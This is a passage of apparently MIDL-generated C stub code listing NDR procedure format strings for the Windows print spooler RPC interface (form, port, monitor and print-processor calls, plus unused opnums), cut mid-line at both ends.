NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 986 | /* 1116 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 987 | /* 1118 */ 0x8, /* FC_LONG */ 988 | 0x0, /* 0 */ 989 | 990 | /* Procedure RpcAddForm */ 991 | 992 | /* 1120 */ 0x0, /* 0 */ 993 | 0x48, /* Old Flags: */ 994 | /* 1122 */ NdrFcLong( 0x0 ), /* 0 */ 995 | /* 1126 */ NdrFcShort( 0x1e ), /* 30 */ 996 | /* 1128 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 997 | /* 1130 */ 0x32, /* FC_BIND_PRIMITIVE */ 998 | 0x0, /* 0 */ 999 | /* 1132 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 1000 | /* 1134 */ NdrFcShort( 0x0 ), /* 0 */ 1001 | /* 1136 */ NdrFcShort( 0x8 ), /* 8 */ 1002 | /* 1138 */ 0x44, /* Oi2 Flags: has return, has ext, */ 1003 | 0x1, /* 1 */ 1004 | /* 1140 */ 0xa, /* 10 */ 1005 | 0x1, /* Ext Flags: new corr desc, */ 1006 | /* 1142 */ NdrFcShort( 0x0 ), /* 0 */ 1007 | /* 1144 */ NdrFcShort( 0x0 ), /* 0 */ 1008 | /* 1146 */ NdrFcShort( 0x0 ), /* 0 */ 1009 | /* 1148 */ NdrFcShort( 0x0 ), /* 0 */ 1010 | 1011 | /* Return value */ 1012 | 1013 | /* 1150 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 1014 | /* 1152 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 1015 | /* 1154 */ 0x8, /* FC_LONG */ 1016 | 0x0, /* 0 */ 1017 | 1018 | /* Procedure RpcDeleteForm */ 1019 | 1020 | /* 1156 */ 0x0, /* 0 */ 1021 | 0x48, /* Old Flags: */ 1022 | /* 1158 */ NdrFcLong( 0x0 ), /* 0 */ 1023 | /* 1162 */ NdrFcShort( 0x1f ), /* 31 */ 1024 | /* 1164 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 1025 | /* 1166 */ 0x32, /* FC_BIND_PRIMITIVE */ 1026 | 0x0, /* 0 */ 1027 | /* 1168 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 1028 | /* 1170 */ NdrFcShort( 0x0 ), /* 0 */ 1029 | /* 1172 */ NdrFcShort( 0x8 ), /* 8 */ 1030 | /* 1174 */ 0x44, /* Oi2 Flags: has return, has ext, */ 1031 | 0x1, /* 1 */ 1032 | /* 1176 */ 0xa, /* 10 */ 1033 | 0x1, /* Ext Flags: new corr desc, */ 1034 | /* 1178 */ NdrFcShort( 0x0 ), /* 0 */ 1035 | /* 1180 */ NdrFcShort( 0x0 ), /* 0 */ 1036 | /* 1182 */ NdrFcShort( 0x0 ), /* 0 */ 1037 | /* 1184 */ NdrFcShort( 0x0 ), /* 0 */ 1038 | 1039 | /* Return value */ 1040 | 1041 | /* 1186 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 1042 | /* 1188 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 1043 | /* 1190 */ 0x8, /* FC_LONG */ 1044 | 0x0, /* 0 */ 1045 | 1046 | /* Procedure RpcGetForm */ 1047 | 1048 | /* 1192 */ 0x0, /* 0 */ 1049 | 0x48, /* Old Flags: */ 1050 | /* 1194 */ NdrFcLong( 0x0 ), /* 0 */ 1051 | /* 1198 */ NdrFcShort( 0x20 ), /* 32 */ 1052 | /* 1200 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 1053 | /* 1202 */ 0x32, /* FC_BIND_PRIMITIVE */ 1054 | 0x0, /* 0 */ 1055 | /* 1204 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 1056 | /* 1206 */ NdrFcShort( 0x0 ), /* 0 */ 1057 | /* 1208 */ NdrFcShort( 0x8 ), /* 8 */ 1058 | /* 1210 */ 0x44, /* Oi2 Flags: has return, has ext, */ 1059 | 0x1, /* 1 */ 1060 | /* 1212 */ 0xa, /* 10 */ 1061 | 0x1, /* Ext Flags: new corr desc, */ 1062 | /* 1214 */ NdrFcShort( 0x0 ), /* 0 */ 1063 | /* 1216 */ NdrFcShort( 0x0 ), /* 0 */ 1064 | /* 1218 */ NdrFcShort( 0x0 ), /* 0 */ 1065 | /* 1220 */ NdrFcShort( 0x0 ), /* 0 */ 1066 | 1067 | /* Return value */ 1068 | 1069 | /* 1222 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 1070 | /* 1224 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 1071 | /* 1226 */ 0x8, /* FC_LONG */ 1072 | 0x0, /* 0 */ 1073 | 1074 | /* Procedure RpcSetForm */ 1075 | 1076 | /* 1228 */ 0x0, /* 0 */ 1077 | 0x48, /* Old Flags: */ 1078 | /* 1230 */ NdrFcLong( 0x0 ), /* 0 */ 1079 | /* 1234 */ NdrFcShort( 0x21 ), /* 33 */ 1080 | /* 1236 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 1081 | /* 1238 */ 0x32, /* FC_BIND_PRIMITIVE */ 1082 | 0x0, /* 0 */ 1083 | /* 1240 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 1084 | /* 1242 */ NdrFcShort( 0x0 ), /* 0 */ 1085 | /* 1244 */ NdrFcShort( 0x8 ), /* 8 */ 1086 | /* 1246 */ 0x44, /* Oi2 Flags: has return, has ext, */ 1087 | 0x1, /* 1 */ 1088 | /* 1248 */ 0xa, /* 10 */ 1089 | 0x1, /* Ext Flags: new corr desc, */ 1090 | /* 1250 */ NdrFcShort( 0x0 ), /* 0 */ 1091 | /* 1252 */ NdrFcShort( 0x0 ), /* 0 */ 1092 | /* 1254 */ NdrFcShort( 0x0 ), /* 0 */ 1093 | /* 1256 */ NdrFcShort( 0x0 ), /* 0 */ 1094 | 1095 | /* Return value */ 1096 | 1097 | /* 1258 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 1098 | /* 1260 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 1099 | /* 1262 */ 0x8, /* FC_LONG */ 1100 | 0x0, /* 0 */ 1101 | 1102 | /* Procedure RpcEnumForms */ 1103 | 1104 | /* 1264 */ 0x0, /* 0 */ 1105 | 0x48, /* Old Flags: */ 1106 | /* 1266 */ NdrFcLong( 0x0 ), /* 0 */ 1107 | /* 1270 */ NdrFcShort( 0x22 ), /* 34 */ 1108 | /* 1272 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 1109 | /* 1274 */ 0x32, /* FC_BIND_PRIMITIVE */ 1110 | 0x0, /* 0 */ 1111 | /* 1276 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 1112 | /* 1278 */ NdrFcShort( 0x0 ), /* 0 */ 1113 | /* 1280 */ NdrFcShort( 0x8 ), /* 8 */ 1114 | /* 1282 */ 0x44, /* Oi2 Flags: has return, has ext, */ 1115 | 0x1, /* 1 */ 1116 | /* 1284 */ 0xa, /* 10 */ 1117 | 0x1, /* Ext Flags: new corr desc, */ 1118 | /* 1286 */ NdrFcShort( 0x0 ), /* 0 */ 1119 | /* 1288 */ NdrFcShort( 0x0 ), /* 0 */ 1120 | /* 1290 */ NdrFcShort( 0x0 ), /* 0 */ 1121 | /* 1292 */ NdrFcShort( 0x0 ), /* 0 */ 1122 | 1123 | /* Return value */ 1124 | 1125 | /* 1294 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 1126 | /* 1296 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 1127 | /* 1298 */ 0x8, /* FC_LONG */ 1128 | 0x0, /* 0 */ 1129 | 1130 | /* Procedure RpcEnumPorts */ 1131 | 1132 | /* 1300 */ 0x0, /* 0 */ 1133 | 0x48, /* Old Flags: */ 1134 | /* 1302 */ NdrFcLong( 0x0 ), /* 0 */ 1135 | /* 1306 */ NdrFcShort( 0x23 ), /* 35 */ 1136 | /* 1308 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 1137 | /* 1310 */ 0x32, /* FC_BIND_PRIMITIVE */ 1138 | 0x0, /* 0 */ 1139 | /* 1312 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 1140 | /* 1314 */ NdrFcShort( 0x0 ), /* 0 */ 1141 | /* 1316 */ NdrFcShort( 0x8 ), /* 8 */ 1142 | /* 1318 */ 0x44, /* Oi2 Flags: has return, has ext, */ 1143 | 0x1, /* 1 */ 1144 | /* 1320 */ 0xa, /* 10 */ 1145 | 0x1, /* Ext Flags: new corr desc, */ 1146 | /* 1322 */ NdrFcShort( 0x0 ), /* 0 */ 1147 | /* 1324 */ NdrFcShort( 0x0 ), /* 0 */ 1148 | /* 1326 */ NdrFcShort( 0x0 ), /* 0 */ 1149 | /* 1328 */ NdrFcShort( 0x0 ), /* 0 */ 1150 | 1151 | /* Return value */ 1152 | 1153 | /* 1330 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 1154 | /* 1332 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 1155 | /* 1334 */ 0x8, /* FC_LONG */ 1156 | 0x0, /* 0 */ 1157 | 1158 | /* Procedure RpcEnumMonitors */ 1159 | 1160 | /* 1336 */ 0x0, /* 0 */ 1161 | 0x48, /* Old Flags: */ 1162 | /* 1338 */ NdrFcLong( 0x0 ), /* 0 */ 1163 | /* 1342 */ NdrFcShort( 0x24 ), /* 36 */ 1164 | /* 1344 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 1165 | /* 1346 */ 0x32, /* FC_BIND_PRIMITIVE */ 1166 | 0x0, /* 0 */ 1167 | /* 1348 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 1168 | /* 1350 */ NdrFcShort( 0x0 ), /* 0 */ 1169 | /* 1352 */ NdrFcShort( 0x8 ), /* 8 */ 1170 | /* 1354 */ 0x44, /* Oi2 Flags: has return, has ext, */ 1171 | 0x1, /* 1 */ 1172 | /* 1356 */ 0xa, /* 10 */ 1173 | 0x1, /* Ext Flags: new corr desc, */ 1174 | /* 1358 */ NdrFcShort( 0x0 ), /* 0 */ 1175 | /* 1360 */ NdrFcShort( 0x0 ), /* 0 */ 1176 | /* 1362 */ NdrFcShort( 0x0 ), /* 0 */ 1177 | /* 1364 */ NdrFcShort( 0x0 ), /* 0 */ 1178 | 1179 | /* Return value */ 1180 | 1181 | /* 1366 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 1182 | /* 1368 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 1183 | /* 1370 */ 0x8, /* FC_LONG */ 1184 | 0x0, /* 0 */ 1185 | 1186 | /* Procedure Opnum37NotUsedOnWire */ 1187 | 1188 | /* 1372 */ 0x0, /* 0 */ 1189 | 0x48, /* Old Flags: */ 1190 | /* 1374 */ NdrFcLong( 0x0 ), /* 0 */ 1191 | /* 1378 */ NdrFcShort( 0x25 ), /* 37 */ 1192 | /* 1380 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 1193 | /* 1382 */ 0x32, /* FC_BIND_PRIMITIVE */ 1194 | 0x0, /* 0 */ 1195 | /* 1384 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 1196 | /* 1386 */ NdrFcShort( 0x0 ), /* 0 */ 1197 | /* 1388 */ NdrFcShort( 0x0 ), /* 0 */ 1198 | /* 1390 */ 0x40, /* Oi2 Flags: has ext, */ 1199 | 0x0, /* 0 */ 1200 | /* 1392 */ 0xa, /* 10 */ 1201 | 0x1, /* Ext Flags: new corr desc, */ 1202 | /* 1394 */ NdrFcShort( 0x0 ), /* 0 */ 1203 | /* 1396 */ NdrFcShort( 0x0 ), /* 0 */ 1204 | /* 1398 */ NdrFcShort( 0x0 ), /* 0 */ 1205 | /* 1400 */ NdrFcShort( 0x0 ), /* 0 */ 1206 | 1207 | /* Procedure Opnum38NotUsedOnWire */ 1208 | 1209 | /* 1402 */ 0x0, /* 0 */ 1210 | 0x48, /* Old Flags: */ 1211 | /* 1404 */ NdrFcLong( 0x0 ), /* 0 */ 1212 | /* 1408 */ NdrFcShort( 0x26 ), /* 38 */ 1213 | /* 1410 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 1214 | /* 1412 */ 0x32, /* FC_BIND_PRIMITIVE */ 1215 | 0x0, /* 0 */ 1216 | /* 1414 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 1217 | /* 1416 */ NdrFcShort( 0x0 ), /* 0 */ 1218 | /* 1418 */ NdrFcShort( 0x0 ), /* 0 */ 1219 | /* 1420 */ 0x40, /* Oi2 Flags: has ext, */ 1220 | 0x0, /* 0 */ 1221 | /* 1422 */ 0xa, /* 10 */ 1222 | 0x1, /* Ext Flags: new corr desc, */ 1223 | /* 1424 */ NdrFcShort( 0x0 ), /* 0 */ 1224 | /* 1426 */ NdrFcShort( 0x0 ), /* 0 */ 1225 | /* 1428 */ NdrFcShort( 0x0 ), /* 0 */ 1226 | /* 1430 */ NdrFcShort( 0x0 ), /* 0 */ 1227 | 1228 | /* Procedure RpcDeletePort */ 1229 | 1230 | /* 1432 */ 0x0, /* 0 */ 1231 | 0x48, /* Old Flags: */ 1232 | /* 1434 */ NdrFcLong( 0x0 ), /* 0 */ 1233 | /* 1438 */ NdrFcShort( 0x27 ), /* 39 */ 1234 | /* 1440 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 1235 | /* 1442 */ 0x32, /* FC_BIND_PRIMITIVE */ 1236 | 0x0, /* 0 */ 1237 | /* 1444 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 1238 | /* 1446 */ NdrFcShort( 0x0 ), /* 0 */ 1239 | /* 1448 */ NdrFcShort( 0x8 ), /* 8 */ 1240 | /* 1450 */ 0x44, /* Oi2 Flags: has return, has ext, */ 1241 | 0x1, /* 1 */ 1242 | /* 1452 */ 0xa, /* 10 */ 1243 | 0x1, /* Ext Flags: new corr desc, */ 1244 | /* 1454 */ NdrFcShort( 0x0 ), /* 0 */ 1245 | /* 1456 */ NdrFcShort( 0x0 ), /* 0 */ 1246 | /* 1458 */ NdrFcShort( 0x0 ), /* 0 */ 1247 | /* 1460 */ NdrFcShort( 0x0 ), /* 0 */ 1248 | 1249 | /* Return value */ 1250 | 1251 | /* 1462 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 1252 | /* 1464 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 1253 | /* 1466 */ 0x8, /* FC_LONG */ 1254 | 0x0, /* 0 */ 1255 | 1256 | /* Procedure RpcCreatePrinterIC */ 1257 | 1258 | /* 1468 */ 0x0, /* 0 */ 1259 | 0x48, /* Old Flags: */ 1260 | /* 1470 */ NdrFcLong( 0x0 ), /* 0 */ 1261 | /* 1474 */ NdrFcShort( 0x28 ), /* 40 */ 1262 | /* 1476 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 1263 | /* 1478 */ 0x32, /* FC_BIND_PRIMITIVE */ 1264 | 0x0, /* 0 */ 1265 | /* 1480 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 1266 | /* 1482 */ NdrFcShort( 0x0 ), /* 0 */ 1267 | /* 1484 */ NdrFcShort( 0x8 ), /* 8 */ 1268 | /* 1486 */ 0x44, /* Oi2 Flags: has return, has ext, */ 1269 | 0x1, /* 1 */ 1270 | /* 1488 */ 0xa, /* 10 */ 1271 | 0x1, /* Ext Flags: new corr desc, */ 1272 | /* 1490 */ NdrFcShort( 0x0 ), /* 0 */ 1273 | /* 1492 */ NdrFcShort( 0x0 ), /* 0 */ 1274 | /* 1494 */ NdrFcShort( 0x0 ), /* 0 */ 1275 | /* 1496 */ NdrFcShort( 0x0 ), /* 0 */ 1276 | 1277 | /* Return value */ 1278 | 1279 | /* 1498 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 1280 | /* 1500 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 1281 | /* 1502 */ 0x8, /* FC_LONG */ 1282 | 0x0, /* 0 */ 1283 | 1284 | /* Procedure RpcPlayGdiScriptOnPrinterIC */ 1285 | 1286 | /* 1504 */ 0x0, /* 0 */ 1287 | 0x48, /* Old Flags: */ 1288 | /* 1506 */ NdrFcLong( 0x0 ), /* 0 */ 1289 | /* 1510 */ NdrFcShort( 0x29 ), /* 41 */ 1290 | /* 1512 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 1291 | /* 1514 */ 0x32, /* FC_BIND_PRIMITIVE */ 1292 | 0x0, /* 0 */ 1293 | /* 1516 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 1294 | /* 1518 */ NdrFcShort( 0x0 ), /* 0 */ 1295 | /* 1520 */ NdrFcShort( 0x8 ), /* 8 */ 1296 | /* 1522 */ 0x44, /* Oi2 Flags: has return, has ext, */ 1297 | 0x1, /* 1 */ 1298 | /* 1524 */ 0xa, /* 10 */ 1299 | 0x1, /* Ext Flags: new corr desc, */ 1300 | /* 1526 */ NdrFcShort( 0x0 ), /* 0 */ 1301 | /* 1528 */ NdrFcShort( 0x0 ), /* 0 */ 1302 | /* 1530 */ NdrFcShort( 0x0 ), /* 0 */ 1303 | /* 1532 */ NdrFcShort( 0x0 ), /* 0 */ 1304 | 1305 | /* Return value */ 1306 | 1307 | /* 1534 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 1308 | /* 1536 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 1309 | /* 1538 */ 0x8, /* FC_LONG */ 1310 | 0x0, /* 0 */ 1311 | 1312 | /* Procedure RpcDeletePrinterIC */ 1313 | 1314 | /* 1540 */ 0x0, /* 0 */ 1315 | 0x48, /* Old Flags: */ 1316 | /* 1542 */ NdrFcLong( 0x0 ), /* 0 */ 1317 | /* 1546 */ NdrFcShort( 0x2a ), /* 42 */ 1318 | /* 1548 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 1319 | /* 1550 */ 0x32, /* FC_BIND_PRIMITIVE */ 1320 | 0x0, /* 0 */ 1321 | /* 1552 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 1322 | /* 1554 */ NdrFcShort( 0x0 ), /* 0 */ 1323 | /* 1556 */ NdrFcShort( 0x8 ), /* 8 */ 1324 | /* 1558 */ 0x44, /* Oi2 Flags: has return, has ext, */ 1325 | 0x1, /* 1 */ 1326 | /* 1560 */ 0xa, /* 10 */ 1327 | 0x1, /* Ext Flags: new corr desc, */ 1328 | /* 1562 */ NdrFcShort( 0x0 ), /* 0 */ 1329 | /* 1564 */ NdrFcShort( 0x0 ), /* 0 */ 1330 | /* 1566 */ NdrFcShort( 0x0 ), /* 0 */ 1331 | /* 1568 */ NdrFcShort( 0x0 ), /* 0 */ 1332 | 1333 | /* Return value */ 1334 | 1335 | /* 1570 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 1336 | /* 1572 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 1337 | /* 1574 */ 0x8, /* FC_LONG */ 1338 | 0x0, /* 0 */ 1339 | 1340 | /* Procedure Opnum43NotUsedOnWire */ 1341 | 1342 | /* 1576 */ 0x0, /* 0 */ 1343 | 0x48, /* Old Flags: */ 1344 | /* 1578 */ NdrFcLong( 0x0 ), /* 0 */ 1345 | /* 1582 */ NdrFcShort( 0x2b ), /* 43 */ 1346 | /* 1584 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 1347 | /* 1586 */ 0x32, /* FC_BIND_PRIMITIVE */ 1348 | 0x0, /* 0 */ 1349 | /* 1588 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 1350 | /* 1590 */ NdrFcShort( 0x0 ), /* 0 */ 1351 | /* 1592 */ NdrFcShort( 0x0 ), /* 0 */ 1352 | /* 1594 */ 0x40, /* Oi2 Flags: has ext, */ 1353 | 0x0, /* 0 */ 1354 | /* 1596 */ 0xa, /* 10 */ 1355 | 0x1, /* Ext Flags: new corr desc, */ 1356 | /* 1598 */ NdrFcShort( 0x0 ), /* 0 */ 1357 | /* 1600 */ NdrFcShort( 0x0 ), /* 0 */ 1358 | /* 1602 */ NdrFcShort( 0x0 ), /* 0 */ 1359 | /* 1604 */ NdrFcShort( 0x0 ), /* 0 */ 1360 | 1361 | /* Procedure Opnum44NotUsedOnWire */ 1362 | 1363 | /* 1606 */ 0x0, /* 0 */ 1364 | 0x48, /* Old Flags: */ 1365 | /* 1608 */ NdrFcLong( 0x0 ), /* 0 */ 1366 | /* 1612 */ NdrFcShort( 0x2c ), /* 44 */ 1367 | /* 1614 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 1368 | /* 1616 */ 0x32, /* FC_BIND_PRIMITIVE */ 1369 | 0x0, /* 0 */ 1370 | /* 1618 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 1371 | /* 1620 */ NdrFcShort( 0x0 ), /* 0 */ 1372 | /* 1622 */ NdrFcShort( 0x0 ), /* 0 */ 1373 | /* 1624 */ 0x40, /* Oi2 Flags: has ext, */ 1374 | 0x0, /* 0 */ 1375 | /* 1626 */ 0xa, /* 10 */ 1376 | 0x1, /* Ext Flags: new corr desc, */ 1377 | /* 1628 */ NdrFcShort( 0x0 ), /* 0 */ 1378 | /* 1630 */ NdrFcShort( 0x0 ), /* 0 */ 1379 | /* 1632 */ NdrFcShort( 0x0 ), /* 0 */ 1380 | /* 1634 */ NdrFcShort( 0x0 ), /* 0 */ 1381 | 1382 | /* Procedure Opnum45NotUsedOnWire */ 1383 | 1384 | /* 1636 */ 0x0, /* 0 */ 1385 | 0x48, /* Old Flags: */ 1386 | /* 1638 */ NdrFcLong( 0x0 ), /* 0 */ 1387 | /* 1642 */ NdrFcShort( 0x2d ), /* 45 */ 1388 | /* 1644 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 1389 | /* 1646 */ 0x32, /* FC_BIND_PRIMITIVE */ 1390 | 0x0, /* 0 */ 1391 | /* 1648 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 1392 | /* 1650 */ NdrFcShort( 0x0 ), /* 0 */ 1393 | /* 1652 */ NdrFcShort( 0x0 ), /* 0 */ 1394 | /* 1654 */ 0x40, /* Oi2 Flags: has ext, */ 1395 | 0x0, /* 0 */ 1396 | /* 1656 */ 0xa, /* 10 */ 1397 | 0x1, /* Ext Flags: new corr desc, */ 1398 | /* 1658 */ NdrFcShort( 0x0 ), /* 0 */ 1399 | /* 1660 */ NdrFcShort( 0x0 ), /* 0 */ 1400 | /* 1662 */ NdrFcShort( 0x0 ), /* 0 */ 1401 | /* 1664 */ NdrFcShort( 0x0 ), /* 0 */ 1402 | 1403 | /* Procedure RpcAddMonitor */ 1404 | 1405 | /* 1666 */ 0x0, /* 0 */ 1406 | 0x48, /* Old Flags: */ 1407 | /* 1668 */ NdrFcLong( 0x0 ), /* 0 */ 1408 | /* 1672 */ NdrFcShort( 0x2e ), /* 46 */ 1409 | /* 1674 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 1410 | /* 1676 */ 0x32, /* FC_BIND_PRIMITIVE */ 1411 | 0x0, /* 0 */ 1412 | /* 1678 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 1413 | /* 1680 */ NdrFcShort( 0x0 ), /* 0 */ 1414 | /* 1682 */ NdrFcShort( 0x8 ), /* 8 */ 1415 | /* 1684 */ 0x44, /* Oi2 Flags: has return, has ext, */ 1416 | 0x1, /* 1 */ 1417 | /* 1686 */ 0xa, /* 10 */ 1418 | 0x1, /* Ext Flags: new corr desc, */ 1419 | /* 1688 */ NdrFcShort( 0x0 ), /* 0 */ 1420 | /* 1690 */ NdrFcShort( 0x0 ), /* 0 */ 1421 | /* 1692 */ NdrFcShort( 0x0 ), /* 0 */ 1422 | /* 1694 */ NdrFcShort( 0x0 ), /* 0 */ 1423 | 1424 | /* Return value */ 1425 | 1426 | /* 1696 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 1427 | /* 1698 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 1428 | /* 1700 */ 0x8, /* FC_LONG */ 1429 | 0x0, /* 0 */ 1430 | 1431 | /* Procedure RpcDeleteMonitor */ 1432 | 1433 | /* 1702 */ 0x0, /* 0 */ 1434 | 0x48, /* Old Flags: */ 1435 | /* 1704 */ NdrFcLong( 0x0 ), /* 0 */ 1436 | /* 1708 */ NdrFcShort( 0x2f ), /* 47 */ 1437 | /* 1710 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 1438 | /* 1712 */ 0x32, /* FC_BIND_PRIMITIVE */ 1439 | 0x0, /* 0 */ 1440 | /* 1714 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 1441 | /* 1716 */ NdrFcShort( 0x0 ), /* 0 */ 1442 | /* 1718 */ NdrFcShort( 0x8 ), /* 8 */ 1443 | /* 1720 */ 0x44, /* Oi2 Flags: has return, has ext, */ 1444 | 0x1, /* 1 */ 1445 | /* 1722 */ 0xa, /* 10 */ 1446 | 0x1, /* Ext Flags: new corr desc, */ 1447 | /* 1724 */ NdrFcShort( 0x0 ), /* 0 */ 1448 | /* 1726 */ NdrFcShort( 0x0 ), /* 0 */ 1449 | /* 1728 */ NdrFcShort( 0x0 ), /* 0 */ 1450 | /* 1730 */ NdrFcShort( 0x0 ), /* 0 */ 1451 | 1452 | /* Return value */ 1453 | 1454 | /* 1732 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 1455 | /* 1734 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 1456 | /* 1736 */ 0x8, /* FC_LONG */ 1457 | 0x0, /* 0 */ 1458 | 1459 | /* Procedure RpcDeletePrintProcessor */ 1460 | 1461 | /* 1738 */ 0x0, /* 0 */ 1462 | 0x48, /* Old Flags: */ 1463 | /* 1740 */ NdrFcLong( 0x0 ), /* 0 */ 1464 | /* 1744 */ NdrFcShort( 0x30 ), /* 48 */ 1465 | /* 1746 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 1466 | /* 1748 */ 0x32, /* FC_BIND_PRIMITIVE */ 1467 | 0x0, /* 0 */ 1468 | /* 1750 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 1469 | /* 1752 */ NdrFcShort( 0x0 ), /* 0 */ 1470 | /* 1754 */ NdrFcShort( 0x8 ), /* 8 */ 1471 | /* 1756 */ 0x44, /* Oi2 Flags: has return, has ext, */ 1472 | 0x1, /* 1 */ 1473 | /* 1758 */ 0xa, /* 10 */ 1474 | 0x1, /* Ext Flags: new corr desc, */ 1475 | /* 1760 */ NdrFcShort( 0x0 ), /* 0 */ 1476 | /* 1762 */ NdrFcShort( 0x0 ), /* 0 */ 1477 | /* 1764 */ NdrFcShort( 0x0 ), /* 0 */ 1478 | /* 1766 */ NdrFcShort( 0x0 ), /* 0 */ 1479 | 1480 | /* Return value */ 1481 | 1482 | /* 1768 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 1483 | /* 1770 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 1484 | /* 1772 */ 0x8, /* FC_LONG */ 1485 | 0x0, /* 0 */ 1486 | 1487 | /* Procedure Opnum49NotUsedOnWire */ 1488 | 1489 | /* 1774 */ 0x0, /* 0 */ 1490 | 0x48, /* Old Flags: */ 1491 | /* 1776 */ NdrFcLong( 0x0 ), /* 0 */ 1492 | /* 1780 */ NdrFcShort( 0x31 ), /* 49 */ 1493 | /* 1782 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 1494 | /* 1784 */ 0x32, /* FC_BIND_PRIMITIVE */ 1495 | 0x0, /* 0 */ 1496 | /* 1786 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 1497 | /* 1788 */ NdrFcShort( 0x0 ), /* 0 */ 1498 | /* 1790 */ NdrFcShort( 0x0 ), /* 0 */ 1499 | /* 1792 */ 0x40, /* Oi2 Flags: has ext, */ 1500 | 0x0, /* 0 */ 1501 | /* 1794 */ 0xa, /* 10 */ 1502 | 0x1, /* Ext Flags: new corr desc, */ 1503 | /* 1796 */ NdrFcShort( 0x0 ), /* 0 */ 1504 | /* 1798 */ NdrFcShort( 0x0 ), /* 0 */ 1505 | /* 1800 */ NdrFcShort( 0x0 ), /* 0 */ 1506 | /* 1802 */ NdrFcShort( 0x0 ), /* 0 */ 1507 | 1508 | /* Procedure Opnum50NotUsedOnWire */ 1509 | 1510 | /* 1804 */ 0x0, /* 0 */ 1511 | 0x48, /* Old Flags: */ 1512 | /* 1806 */ NdrFcLong( 0x0 ), /* 0 */ 1513 | /* 1810 */ NdrFcShort( 0x32 ), /* 50 */ 1514 | /* 1812 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 1515 | /* 1814 */ 0x32, /* FC_BIND_PRIMITIVE */ 1516 | 0x0, /* 0 */ 1517 | /* 1816 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 1518 | /* 1818 */ NdrFcShort( 0x0 ), /* 0 */ 1519 | /* 1820 */ NdrFcShort( 0x0 ), /* 0 */ 1520 | /* 1822 */ 0x40, /* Oi2 Flags: has ext, */ 1521 | 0x0, /* 0 */ 1522 | /* 1824 */ 0xa, /* 10 */ 1523 | 0x1, /* Ext Flags: new corr desc, */ 1524 | /* 